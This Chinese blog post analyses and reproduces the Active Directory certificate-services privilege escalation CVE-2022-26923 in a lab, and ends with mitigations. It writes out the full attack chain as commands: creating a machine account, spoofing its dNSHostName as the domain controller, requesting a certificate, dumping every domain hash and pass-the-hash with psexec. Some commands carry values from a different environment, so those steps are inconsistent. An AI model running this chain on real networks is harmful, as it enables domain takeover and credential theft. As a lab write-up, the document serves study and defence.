内网域渗透 | CVE-2022-26923 域提权漏洞分析与复现
2023-1-4 10:4:29 Author: 黑白之道(查看原文) 阅读量:48 收藏

0x00 前言

2022 年 5 月 10 日,微软发布补丁修复了一个 Active Directory 域权限提升漏洞CVE-2022–26923。在5月份和6月份左右的复现文章中,有一个重要的工具:certipy。在当时是版本3.0,但是现在此工具3.0已经被作者删除了,只有2.04.0版本,于是复现漏洞时会和之前有一些出入坑点,在这里总结一下。文章篇幅较长。

0x01 漏洞概述

此漏洞允许低权限用户在安装了 Active Directory 证书服务(AD CS)服务器角色的默认 Active Directory 环境中将权限提升到域管理员。

该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)服务器角色的Active Directory环境中将权限提升至域管理员。这一漏洞最早由安全研究员Oliver Lyak在2021年12 月14 日通过 Zero Day Initiative 向微软报告,Microsoft 在 2022 年 5 月的安全更新中对其进行了修补。

0x02 漏洞范围

影响范围很广泛

Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022

0x03 环境搭建

实验机器:windows server 2012(DC)、kali2021(ATTACK)、windows10(域成员)

基础域环境搭建

1、更改静态ip和机器名称重启计算机

2、安装域服务,除了截图部分,其他都是默认下一步。

3、提升为域控

4、添加新林,随便写一个,输入完域还原密码后一路默认按下去会自动重启。

5、重启后登录账号即可。

ADCS证书安装

服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Directory 证书服务

2、随后配置ADCS服务

3、勾选这两个,随后一路默认

4、配置成功

创建低权限AD用户

kali配置工具

所需两个重要工具:certipy & bloodyAD

配置certipy

此工具在6月还是3.0,现在只有4.0了

https://github.com/ly4k/Certipy
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains python3 setup.py install #配置代理安装

配置bloodyAD

https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains pip3 install -r requirements.txt

0x04 漏洞分析

Active Directory 证书服务(ADCS)简介

对于此漏洞,可以将ADCS仅视为身份证明,类似于Kerberos 票证。如果不想深入了解可以这么理解然后直接跳过哈。

AD CS 是一个服务器角色,用作 Microsoft 的公钥基础结构 PKI 实施。正如预期的那样,它与 Active Directory 紧密集成并支持颁发证书,这些证书是 X.509 格式的数字签名电子文档,可用于加密、消息签名和/或身份验证。

我们都知道,在域环境下,存在着用户User和计算机Machine两个组。

同时,AD CS对User和Machine有这两种不一样的模板,即域用户可以注册User证书模板,域计算机可以注册Machine证书模板。两个证书模板都允许客户端身份验证。

User & Machine两者区别与特点

1、用户帐户具有用户主体名称 (UPN),而计算机帐户则没有。当我们根据User模板请求证书时,用户帐户的 UPN 将嵌入到证书中以进行识别。当我们使用证书进行身份验证时,KDC 会尝试将 UPN 从证书映射到用户。(用户模板信息命令:certutil -v -dstemplate user找出对应的flag值与MS文档对照一下即可。)

2、根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN必须是唯一的,不能有两个具有相同UPN的用户。

3、计算机账户是根据什么进行验证的?下图为计算机账户证书模板,是根据这个字段进行验证的。

4、根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,它没有提到计算机帐户的dNSHostName属性必须是唯一的。看到这里估计就有童鞋明白了,如果我伪造一个计算机账户的dNSHostName属性的值为域控的值,是不是就相当于域控了?事实证明这就是漏洞关键点。

5、本质上,用户可以根据预定义的证书模板请求证书。这些模板指定最终证书的设置,例如它是否可以用于客户端身份验证、必须定义哪些属性、允许谁注册等等。

举例说明如何在 AD 中使用证书进行身份验证

1、使用Certipy请求证书并进行身份验证。环境搭建的时候我们创建了一个默认的低权限用户test/456.com。根据模板向 CA 请求证书User。然后,我们使用颁发的证书john.pfx对 KDC 进行身份验证。使用证书进行身份验证时,Certipy 将尝试请求 Kerberos TGT 并检索帐户的 NT 哈希。

certipy req -username test@jntm.ngm -password 456.com -ca jntm-DC2012-CA -target jntm.ngm -template User
certipy auth -pfx test.pfx -debug

2、问题总结:

  • 如果存在下图问题,说明本地时间和DC时间不同步,重启一下机器。

  • 如果出现KDC无效,说明域控的ADCS服务没有起来,重启一下域控机器或者手动重启即可。

  • 如果出现保存私钥,也是重启一下。

实验一:验证UPN的唯一性

我又新建了一个账户为hello/567.com,使用test/456.com登录这个域环境,更改UPN出现了一个**约束性错误(constraint violation)**。看来UPN确实是唯一的。

实验二:计算机账户根据DNSname进行CA验证

之前提到,计算机账户没有UPN,根据模板看是根据DNShostname进行验证。我们尝试创建一个新的机器帐户,请求一个证书,然后使用证书进行身份验证。

1、创建一个新的机器账户,由于bloodyAD.py创建的计算机账户没有DNShostname,我们使用impacket套装中的addcomputer.py来创建

impacket-addcomputer 'jntm.ngm/test:456.com' -method LDAPS -computer-name 'catest' -computer-pass '999.com'

再次使用ADexplorer.exe来查看,存在DNShostname这个字段

2、使用certipy请求证书,并且使用证书进行身份验证。

3、证书是用 DNS 主机名颁发的catest.jntm.ngm,如果我们查看计算机帐户catest$,我们可以注意到这个值是在dNSHostName属性中定义的。

4、如果尝试更改dnsHostName,我们不会遇到任何问题或违反约束,并且这个申请catest的计算机帐户名仍然是catetst$

5、再次申请证书的时候,会不会改变呢?如果再次申请证书后,生成的是dddddddd.pfx,那么就说明CA确实是根据dnshostname进行的验证。这就证明了,计算机账户是根据dnshostname使用证书进行身份验证的。

0x05 漏洞复现--2012

通过上面的两个小实验,可以大概了解到了漏洞的关键点在于:计算机账户是根据dnshostname进行证书身份验证的,同时没有设置唯一性,通过伪造和具有写入dnshostname权限来写入域控权限的dnshostname伪造域控计算机账户,从而转储TGT与域控hash

攻击机配置hosts文件

1、漏洞探测与盲打:假设我们通过某种漏洞拿下了一台域成员机器,并且获取到了这台域成员机器的明文密码,还有通过命令查看到了相关CA等信息,我这里省事,没有做域成员机器,直接在域控上看的。

certutil -config - -ping
PS: Get-ChildItem Cert:\LocalMachine\Root\

2、配置hosts如图,分别为域控ip、域控机器名.域名、域名-域控机器名-CA、域名、域控机器名

测试证书生成与验证证书有效性

这个前面提到了,这里就直接省略。

创建机器账户到域

1、使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户。

python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' getObjectAttributes 'DC=jntm,DC=ngm' ms-DS-MachineAccountQuota

2、在LDAP中创建一个机器帐户

python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' addComputer testPC '789.com*' 

更新机器帐户的DNS Host Name

python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' setAttribute 'CN=testPC,CN=Computers,DC=jntm,DC=ngm' DNSHOSTName '["DC2012.jntm.ngm"]'

发现遇到了错误,我们使用ADexplorer.exe来连接域AD查看一下,ip输入域控ip,账号随意填写一个用户和密码即可。可以看到这里并没有dNSHostName这个属性。

尝试添加一个,显示**约束性冲突(constraint violation)**。

我们回到域控环境下,查看这个计算机账户的安全信息,可以看到是test用户创建并且DNS写入权限是空的,也就是说无法写入DNS

我们将其勾选上,就能看到,再次执行之前修改DNS名称的命令并且查看属性,更改成功。

python3 bloodyAD.py -d 'yiyuan.ho' -u 'zhangsan' -p '123.com' --host '172.16.25.30' getObjectAttributes 'CN=zhangsanPC,CN=Computers,DC=yiyuan,DC=ho' DNSHostName

使用伪造的计算机账户生成DC的CA

使用此计算机账户进行证书申请,因为对于计算机账户,CA是看它的DNSname的值进行验证的,如果这个值就是域控的DNSname,那么CA就会认为这是域控,从而给它对应的域控权限,也就是拿到了域控的TGT。使用certipy进行申请CA,注意-username属性后跟的是计算机账户,也就是要加上$符号,并且在linux系统下需要转义;同时我们这里用到的是计算机账户模板(Machine),不再是(User)了。

certipy req -username testPC\[email protected].ngm -password 963.com -ca jntm-DC2012-CA -target jntm.ngm -template Machine -debug
certipy auth -pfx dc2012.pfx -debug

获取所有域中所有hash

impacket-secretsdump 'jntm.ngm/[email protected]' -hashes :e339879db7dd5394da0d414ffdd1bbfe

PTH获取域控

impacket-psexec -hashes :afffeba176210fad4628f0524bfe1942 jntm/[email protected]

0x06 漏洞复现--2016

可以看到windows2016使用bloodyAD新建的计算机账户,默认就是具有DNS写入权限的。之前的windows2012不知道为什么没有。

0x07 漏洞修复

1、根据我们的复现,大概的一个防御认知就是我们需要限制证书的注册,例如将MS-DS-Machine-Account-Quota的值改为0,这个值的含义是:允许用户在域中创建的计算机账户的数量。默认情况下这个值为10,刚才复现过程看到了。但是注意,这个并不能防御漏洞,因为攻击者虽然不能创建机器账户,但是可以破坏整个域。例如使用krbrelay这款工具:https://github.com/cube0x0/KrbRelay

2、安装微软官方发布的补丁。https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

3、不要安装ADCS服务就行了,这个漏洞只在有ADCS的域环境中才有利用的可能,不过这个方法过于激进。。

0x08 References

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

https://cloud.tencent.com/developer/article/2019209

MS-ADTS 3.1.1.5.1.3 唯一性约束:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c154285-454c-4353-9a99-fb586e806944

文章来源:HACK技术沉淀营

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650560423&idx=3&sn=07c00a47c48a56b57eed04a0ded21346&chksm=83bd3243b4cabb55027faf9082ad8fec68ee8bcc790ce755d6ff0ca77483df2738cdc2619de3#rd
如有侵权请联系:admin#unsafe.sh